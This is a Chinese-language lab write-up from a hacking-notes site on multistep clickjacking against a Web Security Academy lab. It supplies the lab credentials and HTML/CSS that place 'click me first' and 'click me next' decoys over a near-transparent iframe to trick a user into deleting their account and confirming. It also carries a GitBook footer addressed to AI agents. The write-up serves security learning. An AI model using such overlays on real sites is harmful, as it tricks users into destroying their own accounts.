> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/multistep-clickjacking.md).

# 多步骤点击劫持

### 多步点击劫持

**目标：** 诱使用户点击“删除账户”按钮，然后通过依次点击两个诱饵来确认确认对话框： **“先点我”** 然后 **“接着点我”**.

**用于连接该账户的凭据（实验室）：** `wiener:peter`

* 该页面包含一个 **删除账户** 按钮，随后会出现一个确认框（“你确定吗？”）——因此你需要连续触发两个操作。

<figure><img src="/files/f0abda4261dc15bc0c869f02ba39f35f895ac654" alt=""><figcaption></figcaption></figure>

* 思路是在一个 `iframe` 指向 `/my-account` 页面上方叠加两个可点击区域（div 诱饵）：第一个目标是 **删除账户** 按钮，第二个目标是随后出现的确认按钮。

<figure><img src="/files/06cfd62e3d8fe132bc9f2baa0d799ab43981faac" alt="" width="563"><figcaption></figcaption></figure>

* 我们将 iframe 设为半透明（或低不透明度），这样用户看到的是诱饵，但实际上点击的是目标页面上的元素。

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" 先点我</div>
<div class="next" 接着点我</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/41641e740c6aa19fd678a20c19168435d703b349" alt="" width="429"><figcaption></figcaption></figure>

下面的代码会定位 iframe，放置两个诱饵，并且只在点击第一个后显示第二个诱饵。 `iframe` 指向 `/my-account` 实验室 URL

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> 先点我</div>
<div class="next">接着点我</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/0578cb966388eed7ba4107454f785a54bbd957e9" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
